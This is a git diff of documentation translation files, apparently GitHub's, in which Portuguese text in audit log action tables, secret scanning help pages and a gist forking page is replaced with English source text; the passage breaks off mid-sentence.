application][]'s secret key was reset. +`oauth_application.transfer` | An [OAuth application][] was transferred from one user or organization account to another. +`public_key.create` | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository. +`public_key.delete` | An SSH key was removed from a user account or a [deploy key][] was removed from a repository. +`public_key.update` | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %} +`two_factor_authentication.enabled` | [Two-factor authentication][2fa] was enabled for a user account. +`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %} + + [add key]: /articles/adding-a-new-ssh-key-to-your-github-account + [deploy key]: /guides/managing-deploy-keys/#deploy-keys + [generate token]: /articles/creating-an-access-token-for-command-line-use + [OAuth access token]: /developers/apps/authorizing-oauth-apps + [OAuth application]: /guides/basics-of-authentication/#registering-your-app + [2fa]: /articles/about-two-factor-authentication {% ifversion ghes %} ## {% data variables.product.prodname_actions %} @@ -41,150 +48,157 @@ topics: ## Hooks -| Ação | Descrição | -| --------------------- | --------------------------------------------------- | -| `hook.create` | Um novo hook foi adicionado ao repositório. | -| `hook.config_changed` | A configuração de um hook foi alterada. | -| `hook.destroy` | Um hook foi excluído. | -| `hook.events_changed` | Os eventos configurados de um hook foram alterados. | +Action | Description +--------------------------------- | ------------------------------------------- +`hook.create` | A new hook was added to a repository. +`hook.config_changed` | A hook's configuration was changed. +`hook.destroy` | A hook was deleted. +`hook.events_changed` | A hook's configured events were changed. -## Configurações da empresa +## Enterprise configuration settings -| Ação | Descrição | -| ------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae-next %} -| `business.advanced_security_policy_update` | Um administrador do site cria, atualiza ou remove uma política para {% data variables.product.prodname_GH_advanced_security %}. Para obter mais informações, consulte "[Aplicar políticas para {% data variables.product.prodname_advanced_security %} na sua empresa](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)".{% endif %} -| `business.clear_members_can_create_repos` | Um administrador do site elimina uma restrição de criação de repositórios em organizações da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)".{% ifversion ghes > 3.1 %} -| `business.referrer_override_enable` | Um administrador do site habilita a substituição da política de indicação. Para obter mais informações, consulte "[Configurando a política de indicação para sua empresa](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)". | -| `business.referrer_override_disable` | O administrador de um site desabilita a substituição de política de indicação. Para obter mais informações, consulte "[Configurando a política de indicação para sua empresa](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)".{% endif %} -| `business.update_member_repository_creation_permission` | Um administrador do site restringe a criação de repositórios em organizações da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)".{% ifversion ghes %} -| `enterprise.config.lock_anonymous_git_access` | Um administrador do site bloqueia acessos de leitura anônimos do Git para impedir que os administradores do repositório alterem as configurações de acessos de leitura anônimos do Git existentes nos repositórios da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)". | -| `enterprise.config.unlock_anonymous_git_access` | Um administrador do site desbloqueia acessos de leitura anônimos do Git para permitir que administradores alterem as configurações de acessos de leitura anônimos do Git existentes nos repositórios da empresa. Para obter mais informações, consulte "[Aplicar políticas de gerenciamento do repositório na sua empresa](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)".{% endif %} +Action | Description +----------------------------------------------- | -------------------------------------------{% ifversion ghes > 3.0 or ghae-next %} +`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %} +`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %} +`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." +`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %} +`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %} +`enterprise.config.lock_anonymous_git_access` | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %} {% ifversion ghae %} -## Listas de permissão de IP +## IP allow lists -| Nome | Descrição | -| ------------------------------------------:| ---------------------------------------------------------------------------------------------------------------------- | -| `ip_allow_list_entry.create` | Um endereço IP foi adicionado a uma lista de permissão do IP. | -| `ip_allow_list_entry.update` | Um endereço IP ou sua descrição foi alterada. | -| `ip_allow_list_entry.destroy` | Um endereço IP foi excluído de uma lista de permissões de IP. | -| `ip_allow_list.enable` | Uma lista de permissões de IP foi habilitada. | -| `ip_allow_list.enable_for_installed_apps` | Uma lista de permissões de IP foi habilitada para a instalação de {% data variables.product.prodname_github_apps %}. | -| `ip_allow_list.disable` | Uma lista de permissões do IP foi desabilitada. | -| `ip_allow_list.disable_for_installed_apps` | Uma lista de permissões de IP foi desabilitada para o {% data variables.product.prodname_github_apps %} instalado. | +Name | Description +------------------------------------:| ----------------------------------------------------------- +`ip_allow_list_entry.create` | An IP address was added to an IP allow list. +`ip_allow_list_entry.update` | An IP address or its description was changed. +`ip_allow_list_entry.destroy` | An IP address was deleted from an IP allow list. +`ip_allow_list.enable` | An IP allow list was enabled. +`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +`ip_allow_list.disable` | An IP allow list was disabled. +`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. {% endif %} -## Problemas +## Issues -| Ação | Descrição | -| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `issue.update` | O texto de um problema (comentário inicial) foi alterado. | -| `issue_comment.update` | Um comentário em um problema (que não seja o inicial) foi alterado. | -| `issue.destroy` | Um problema foi excluído do repositório. Para obter mais informações, consulte "[Excluir uma problema](/github/managing-your-work-on-github/deleting-an-issue)". | +Action | Description +------------------------------------ | ----------------------------------------------------------- +`issue.update` | An issue's body text (initial comment) changed. +`issue_comment.update` | A comment on an issue (other than the initial one) changed. +`issue.destroy` | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)." -## Organizações +## Organizations -| Ação | Descrição | -| ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `org.async_delete` | Um usuário iniciou um trabalho em segundo plano para excluir uma organização. | -| `org.delete` | Uma organização foi excluída por um trabalho de segundo plano iniciado pelo usuário.{% ifversion not ghae %} -| `org.transform` | A conta de usuário foi convertida em organização. Para obter mais informações, consulte "[Converter um usuário em uma organização](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %} +Action | Description +------------------ | ---------------------------------------------------------- +`org.async_delete` | A user initiated a background job to delete an organization. +`org.delete` | An organization was deleted by a user-initiated background job.{% ifversion not ghae %} +`org.transform` | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %} ## Pull requests -| Ação | Descrição | | :- | :- |{% ifversion ghes > 3.1 or ghae-next %} | `pull_request.create` | Um pull request foi criado. Para obter mais informações, consulte "[Criar uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | | `pull_request.close` | Um pull request foi fechado sem fazer merge. Para obter mais informações, consulte "[Fechar um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)". | | `pull_request.reopen` | Um pull request foi reaberto após ter sido fechado anteriormente. | | `pull_request.merge` | Um pull request foi mesclado. Para obter mais informações, consulte "[Fazer merge de uma pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)". | | `pull_request.indirect_merge` | Um pull request foi considerado como merge, porque os commits do pull request foram mesclados no branch de destino. | | `pull_request.ready_for_review` | Um pull request foi mercado como pronto para revisão. Para obter mais informações, consulte "[Alterar o stage de um pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)". | | `pull_request.converted_to_draft` | Um pull request foi convertido em rascunho. Para obter mais informações, consulte "[Alterar o stage de um pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)". | | `pull_request.create_review_request` | Uma revisão foi solicitada em um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request.remove_review_request` | Uma solicitação de revisão foi removida de um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review.submit` | Uma revisão foi enviada para um pull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review.dismiss` | Uma revisão em um pull request foi ignorada. Para obter mais informações, consulte "[Ignorar uma revisão de pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)". | | `pull_request_review.delete` | Uma revisão em um pull request foi excluída. | | `pull_request_review_comment.create` | O comentário de uma revisão foi adicionado a um ull request. Para obter mais informações, consulte "[Sobre merges do pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)". | | `pull_request_review_comment.update` | O comentário de uma revisão em um pull request foi alterado. |{% endif %} | `pull_request_review_comment.delete` | O comentário de uma revisão em um pull request foi excluído. | +| Action | Description | +| :- | :- |{% ifversion ghes > 3.1 or ghae-next %} +| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | +| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | +| `pull_request.reopen` | A pull request was reopened after previously being closed. | +| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." | +| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. | +| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." | +| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." | +| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." | +| `pull_request_review.delete` | A review on a pull request was deleted. | +| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %} +| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. | -## Branches protegidos +## Protected branches -| Ação | Descrição | -| ------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -| `protected_branch.create` | A proteção do branch está habilitada em um branch. | -| `protected_branch.destroy` | A proteção do branch está desabilitada em um branch. | -| `protected_branch.update_admin_enforced` | A proteção do branch é exigida para os administradores do repositório. | -| `protected_branch.update_require_code_owner_review` | A execução da revisão necessária do código do proprietário foi atualizada em um branch. | -| `protected_branch.dismiss_stale_reviews` | A exigência de ignorar pull requests obsoletas é atualizada em um branch. | -| `protected_branch.update_signature_requirement_enforcement_level` | A exigência de assinatura de commit obrigatória é atualizada em um branch. | -| `protected_branch.update_pull_request_reviews_enforcement_level` | A exigência de revisões obrigatórias de pull request é atualizada em um branch. | -| `protected_branch.update_required_status_checks_enforcement_level` | A exigência de verificações de status obrigatórias é atualizada em um branch. | -| `protected_branch.rejected_ref_update` | Uma tentativa de atualização do branch é rejeitada. | -| `protected_branch.policy_override` | Um requisito de proteção do branch é sobrescrito por um administrador do repositório. | +Action | Description +-------------------------- | ---------------------------------------------------------- +`protected_branch.create ` | Branch protection is enabled on a branch. +`protected_branch.destroy` | Branch protection is disabled on a branch. +`protected_branch.update_admin_enforced ` | Branch protection is enforced for repository administrators. +`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch. +`protected_branch.dismiss_stale_reviews ` | Enforcement of dismissing stale pull requests is updated on a branch. +`protected_branch.update_signature_requirement_enforcement_level ` | Enforcement of required commit signing is updated on a branch. +`protected_branch.update_pull_request_reviews_enforcement_level ` | Enforcement of required pull request reviews is updated on a branch. +`protected_branch.update_required_status_checks_enforcement_level ` | Enforcement of required status checks is updated on a branch. +`protected_branch.rejected_ref_update ` | A branch update attempt is rejected. +`protected_branch.policy_override ` | A branch protection requirement is overridden by a repository administrator. -## Repositórios +## Repositories -| Ação | Descrição | -| ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `repo.access` | A visibilidade de um repositório alterado para privado{% ifversion ghes %}, público,{% endif %} ou interno. | -| `repo.archived` | Um repositório foi arquivado. Para obter mais informações, consulte "[Arquivar um repositório de {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)". | -| `repo.add_member` | Um colaborador foi adicionado ao repositório. | -| `repo.config` | Um administrador do site bloqueou a opção de forçar pushes. Para obter mais informações, consulte [Bloquear pushes forçados em um repositório](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/). | -| `repo.create` | Um repositório foi criado. | -| `repo.destroy` | Um repositório foi excluído. | -| `repo.remove_member` | Um colaborador foi removido do repositório. | -| `repo.rename` | Um repositório foi renomeado. | -| `repo.transfer` | Um usuário aceitou uma solicitação para receber um repositório transferido. | -| `repo.transfer_start` | Um usuário enviou uma solicitação para transferir um repositório a outro usuário ou organização. | -| `repo.unarchived` | Um repositório teve o arquivamento cancelado. Para obter mais informações, consulte "[Arquivar um repositório de {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)".{% ifversion ghes %} -| `repo.config.disable_anonymous_git_access` | O acesso de leitura anônimo do Git está desabilitado em um repositório. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)". | -| `repo.config.enable_anonymous_git_access` | O acesso de leitura anônimo do Git está abilitado em um repositório. Para obter mais informações, consulte "[Habilitar acesso de leitura anônimo do Git para um repositório](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)". | -| `repo.config.lock_anonymous_git_access` | O acesso de leitura anônimo de um repositório do Git está bloqueado, impedindo que os administradores de repositório alterem (habilitem ou desabilitem) essa configuração. Para obter mais informações, consulte "[Impedir os usuários de alterar o acesso de leitura anônimo do Git](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." | -| `repo.config.unlock_anonymous_git_access` | O acesso de leitura anônimo de um repositório do Git está desbloqueado, permitindo que os administradores de repositório alterem (habilitem ou desabilitem) essa configuração. Para obter mais informações, consulte "[Impedir os usuários de alterar o acesso de leitura anônimo do Git](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %} +Action | Description +--------------------- | ------------------------------------------------------- +`repo.access` | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal. +`repo.archived` | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)." +`repo.add_member` | A collaborator was added to a repository. +`repo.config` | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository. +`repo.create` | A repository was created. +`repo.destroy` | A repository was deleted. +`repo.remove_member` | A collaborator was removed from a repository. +`repo.rename` | A repository was renamed. +`repo.transfer` | A user accepted a request to receive a transferred repository. +`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization. +`repo.unarchived` | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %} +`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." +`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %} -## Ferramentas de administração do site +## Site admin tools -| Ação | Descrição | -| ----------------------- | -------------------------------------------------------------------------------------------------------------------------- | -| `staff.disable_repo` | Um administrador do site desabilitou o acesso a um repositório e a todas as suas bifurcações. | -| `staff.enable_repo` | Um administrador do site reabilitou o acesso a um repositório e a todas as suas bifurcações.{% ifversion ghes > 3.2 %} -| `staff.exit_fake_login` | O administrador de um site ancerrou uma sessão de representação em {% data variables.product.product_name %}. | -| `staff.fake_login` | Um administrador do site efetu ou o login em {% data variables.product.product_name %} como outro usuário.{% endif %} -| `staff.repo_unlock` | Um administrador do site desbloqueou (obteve acesso total temporariamente a) um dos repositórios privados de um usuário. | -| `staff.unlock` | Um administrador do site desbloqueou (obteve acesso total temporariamente a) todos os repositórios privados de um usuário. | +Action | Description +----------------------------- | ----------------------------------------------- +`staff.disable_repo` | A site admin disabled access to a repository and all of its forks. +`staff.enable_repo` | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %} +`staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}. +`staff.fake_login` | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %} +`staff.repo_unlock` | A site admin unlocked (temporarily gained full access to) one of a user's private repositories. +`staff.unlock` | A site admin unlocked (temporarily gained full access to) all of a user's private repositories. -## Equipes +## Teams -| Ação | Descrição | -| ------------------------- | ------------------------------------------------------------------------------------------------------ | -| `team.create` | Um repositório ou conta de usuário foi adicionado a uma equipe. | -| `team.delete` | Uma conta de usuário ou repositório foi removido de uma equipe.{% ifversion ghes or ghae %} -| `team.demote_maintainer` | A categoria de um usuário foi rebaixada para de mantenedor da equipe para membro da equipe.{% endif %} -| `team.destroy` | Uma equipe foi excluída.{% ifversion ghes or ghae %} -| `team.promote_maintainer` | Um usuário foi promovido de membro da equipe para mantenedor da equipe.{% endif %} +Action | Description +--------------------------------- | ------------------------------------------- +`team.create` | A user account or repository was added to a team. +`team.delete` | A user account or repository was removed from a team.{% ifversion ghes or ghae %} +`team.demote_maintainer` | A user was demoted from a team maintainer to a team member.{% endif %} +`team.destroy` | A team was deleted.{% ifversion ghes or ghae %} +`team.promote_maintainer` | A user was promoted from a team member to a team maintainer.{% endif %} -## Usuários +## Users -| Ação | Descrição | -| ------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `user.add_email` | Um endereço de e-mail foi adicionado a uma conta de usuário. | -| `user.async_delete` | Um trabalho assíncrono foi iniciado para destruir uma conta de usuário, eventualmente acionando `user.delete`.{% ifversion ghes %} -| `user.change_password` | Um usuário alterou sua senha.{% endif %} -| `user.create` | Uma nova conta de usuário foi criada. | -| `user.delete` | Uma conta de usuário foi destruída por um trabalho assíncrono. | -| `user.demote` | Um administrador do site foi rebaixado a uma conta de usuário regular. | -| `user.destroy` | Um usuário excluiu a sua conta, acionando `user.async_delete`.{% ifversion ghes %} -| `user.failed_login` | Um usuário tentou fazer login com nome de usuário, senha ou código de autenticação de dois fatores incorretos. | -| `user.forgot_password` | Um usuário solicitou uma redefinição de senha através da página de login.{% endif %} -| `user.login` | Um usuário iniciou a sessão.{% ifversion ghes or ghae %} -| `user.mandatory_message_viewed` | Um usuário visualiza uma mensagem obrigatória (ver "[Personalizar mensagens de usuário](/admin/user-management/customizing-user-messages-for-your-enterprise)" para obter detalhes). {% endif %} -| `user.promote` | Uma conta de usuário regular foi promovida a administrador do site. | -| `user.remove_email` | Um endereço de e-mail foi removido de uma conta de usuário. | -| `user.rename` | Um nome de usuário foi alterado. | -| `user.suspend` | Uma conta de usuário foi suspensa por um administrador do site.{% ifversion ghes %} -| `user.two_factor_requested` | Um código de autenticação de dois fatores foi solicitado de um usuário.{% endif %} -| `user.unsuspend` | Uma conta de usuário teve a suspensão cancelada por um administrador do site. | +Action | Description +--------------------------------- | ------------------------------------------- +`user.add_email` | An email address was added to a user account. +`user.async_delete` | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %} +`user.change_password` | A user changed his or her password.{% endif %} +`user.create` | A new user account was created. +`user.delete` | A user account was destroyed by an asynchronous job. +`user.demote` | A site admin was demoted to an ordinary user account. +`user.destroy` | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %} +`user.failed_login` | A user tried to sign in with an incorrect username, password, or two-factor authentication code. +`user.forgot_password` | A user requested a password reset via the sign-in page.{% endif %} +`user.login` | A user signed in.{% ifversion ghes or ghae %} +`user.mandatory_message_viewed` | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %} +`user.promote` | An ordinary user account was promoted to a site admin. +`user.remove_email` | An email address was removed from a user account. +`user.rename` | A username was changed. +`user.suspend` | A user account was suspended by a site admin.{% ifversion ghes %} +`user.two_factor_requested` | A user was prompted for a two-factor authentication code.{% endif %} +`user.unsuspend` | A user account was unsuspended by a site admin. -{% ifversion ghes > 3.1 or ghae-issue-1157 %} -## Fluxos de trabalho +{% ifversion ghes > 3.1 or ghae-next %} +## Workflows {% data reusables.actions.actions-audit-events-workflow %} {% endif %} - - [add key]: /articles/adding-a-new-ssh-key-to-your-github-account - [chave de implantação]: /guides/managing-deploy-keys/#deploy-keys - [chave de implantação de um repositório]: /guides/managing-deploy-keys/#deploy-keys - [generate token]: /articles/creating-an-access-token-for-command-line-use - [token de acesso OAuth]: /developers/apps/authorizing-oauth-apps - [aplicativo OAuth]: /guides/basics-of-authentication/#registering-your-app - [2fa]: /articles/about-two-factor-authentication - [2fa]: /articles/about-two-factor-authentication diff --git a/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index e4cde2b237..ed23e51702 100644 --- a/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -82,8 +82,12 @@ After your pattern is created, {% data variables.product.prodname_secret_scannin ## Defining a custom pattern for an enterprise account +{% ifversion fpt or ghec or ghes %} + Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." +{% endif %} + {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. diff --git a/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md index f1d15dceea..b148ac4d78 100644 --- a/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md +++ b/translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -25,14 +25,14 @@ shortTitle: Manage secret alerts {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. In the left sidebar, click **Secret scanning alerts**. +1. In the left sidebar, click **Secret scanning alerts**. {% ifversion fpt or ghes or ghec %} !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png) {% endif %} {% ifversion ghae %} !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png) {% endif %} -4. Under "Secret scanning" click the alert you want to view. +1. Under "Secret scanning" click the alert you want to view. {% ifversion fpt or ghec %} ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png) {% endif %} @@ -42,11 +42,7 @@ shortTitle: Manage secret alerts {% ifversion ghae %} ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png) {% endif %} -5. {% ifversion fpt or ghec %} - Optionally, use the "Close as" drop-down menu and click a reason for resolving an alert. - {%- elsif ghes or ghae %} - Optionally, use the "Mark as" drop-down menu and click a reason for resolving an alert. - {% endif %} +1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert. {% ifversion fpt or ghec %} ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png) {% endif %} diff --git a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md index c58cfa0493..21c3bd883f 100644 --- a/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md +++ b/translations/pt-BR/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md @@ -1,6 +1,6 @@ --- -title: Bifurcar e clonar gists -intro: 'Gists são repositórios Git. Isso significa que é posível bifurcar ou clonar qualquer gist, mesmo não sendo o autor original. Também é possível visualizar o histórico completo de commits do gist, inclusive os diffs.' +title: Forking and cloning gists +intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/forking-and-cloning-gists @@ -11,25 +11,24 @@ versions: ghae: '*' ghec: '*' --- +## Forking gists -## Bifurcar gists +Each gist indicates which forks have activity, making it easy to find interesting changes from others. -Cada gist indica quais bifurcações têm atividade, facilitando o processo de encontrar mudanças interessantes de outros. +![Gist forks](/assets/images/help/gist/gist_forks.png) -![Bifurcações gist](/assets/images/help/gist/gist_forks.png) +## Cloning gists -## Clonar gists +If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a 